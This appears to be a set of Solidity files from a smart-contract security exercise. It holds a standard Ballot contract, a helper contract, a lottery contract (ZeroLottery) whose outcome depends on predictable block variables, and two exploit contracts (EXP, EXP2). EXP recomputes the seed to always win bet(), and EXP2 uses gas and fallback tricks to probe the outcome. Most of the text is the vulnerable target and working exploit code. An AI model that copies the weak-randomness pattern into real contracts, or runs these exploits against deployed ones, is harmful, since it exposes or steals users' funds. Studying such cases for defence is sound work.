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ballot.sol

pragma solidity ^0.4.0;
contract Ballot {

    struct Voter {
        uint weight;
        bool voted;
        uint8 vote;
        address delegate;
    }
    struct Proposal {
        uint voteCount;
    }

    address chairperson;
    mapping(address => Voter) voters;
    Proposal[] proposals;

    /// Create a new ballot with $(_numProposals) different proposals.
    function Ballot(uint8 _numProposals) public {
        chairperson = msg.sender;
        voters[chairperson].weight = 1;
        proposals.length = _numProposals;
    }

    /// Give $(toVoter) the right to vote on this ballot.
    /// May only be called by $(chairperson).
    function giveRightToVote(address toVoter) public {
        if (msg.sender != chairperson || voters[toVoter].voted) return;
        voters[toVoter].weight = 1;
    }

    /// Delegate your vote to the voter $(to).
    function delegate(address to) public {
        Voter storage sender = voters[msg.sender]; // assigns reference
        if (sender.voted) return;
        while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender)
            to = voters[to].delegate;
        if (to == msg.sender) return;
        sender.voted = true;
        sender.delegate = to;
        Voter storage delegateTo = voters[to];
        if (delegateTo.voted)
            proposals[delegateTo.vote].voteCount += sender.weight;
        else
            delegateTo.weight += sender.weight;
    }

    /// Give a single vote to proposal $(toProposal).
    function vote(uint8 toProposal) public {
        Voter storage sender = voters[msg.sender];
        if (sender.voted || toProposal >= proposals.length) return;
        sender.voted = true;
        sender.vote = toProposal;
        proposals[toProposal].voteCount += sender.weight;
    }

    function winningProposal() public constant returns (uint8 _winningProposal) {
        uint256 winningVoteCount = 0;
        for (uint8 prop = 0; prop < proposals.length; prop++)
            if (proposals[prop].voteCount > winningVoteCount) {
                winningVoteCount = proposals[prop].voteCount;
                _winningProposal = prop;
            }
    }
}

help.sol

pragma solidity ^0.4.24;
contract Help{
    
    function getBalance(address _address) public constant returns (uint256){
        return _address.balance;
    }
    address public msg_sender;
    uint public guess;
    function setGuess(uint n) public payable{
        msg_sender = msg.sender;
        guess = n;
    }
}

test1.sol

pragma solidity ^0.4.21;
contract ZeroLottery {
    struct SeedComponents {
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }

    uint private base = 8;

    address private owner;
    mapping (address => uint256) public balanceOf;

    function ZeroLottery() public {
        owner = msg.sender;
    }
    
    function init() public payable {
        balanceOf[msg.sender] = 100;
    }

    function seed(SeedComponents components) internal pure returns (uint) {
        uint secretSeed = uint256(keccak256(
            components.component1,
            components.component2,
            components.component3,
            components.component4
        ));
        return secretSeed;
    }
    
    function bet(uint guess) public payable {
        require(msg.value>1 ether);
        require(balanceOf[msg.sender] > 0);
        uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
        uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;

        if (guess != n) {
            balanceOf[msg.sender] = 0;
            // charge 0.5 ether for failure
            msg.sender.transfer(msg.value - 0.5 ether);
            return;
        }
        // 10 ether
        // charge 1 ether for success
        msg.sender.transfer(msg.value - 1 ether);
        balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
    }

    function paolu() public payable {
        require(msg.sender == owner);
        selfdestruct(owner);
    }

}

test2.sol

pragma solidity ^0.4.24;
contract EXP{
    struct SeedComponents {
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }
    
    uint private base = 8;
    
    constructor ()public payable {}

    function () public payable {}
    
    function callInit(address addr) public {
        require(addr.call(bytes4(keccak256("init()"))));
    }
    
    function seed(SeedComponents components) internal pure returns (uint) {
        uint secretSeed = uint256(keccak256(
            components.component1,
            components.component2,
            components.component3,
            components.component4
        ));
        return secretSeed;
    }
    
    function callBet(address addr) payable public {
        uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
        uint n = uint(keccak256(uint(address(this)), secretSeed)) % base;
        require(addr.call.value(1.1 ether)(bytes4(keccak256("bet(uint256)")), n));
    }
    
}

test3.sol

pragma solidity ^0.4.24;
contract EXP2{

    uint sendBackValue;
    constructor ()public payable {}

    function () public payable {
        require(msg.value == 1);
    }
    
    
    function callInit(address addr) public {
        require(addr.call(bytes4(keccak256("init()"))));
    }
    
    function callBetForTest(address addr) payable public {
        assert(addr.call.value(2 ether)(bytes4(keccak256("bet(uint256)")), 1));
    }
    
    // false
    // transaction cost    29512 
    // execution cost      21832 
    // total = 51344

    // true
    // transaction cost    44797 
    // execution cost      22117 
    // total = 66914
    
    function callBet(address addr) payable public {
        assert(addr.call.gas(60000).value(2 ether)(bytes4(keccak256("bet(uint256)")), 1));
    }
    
}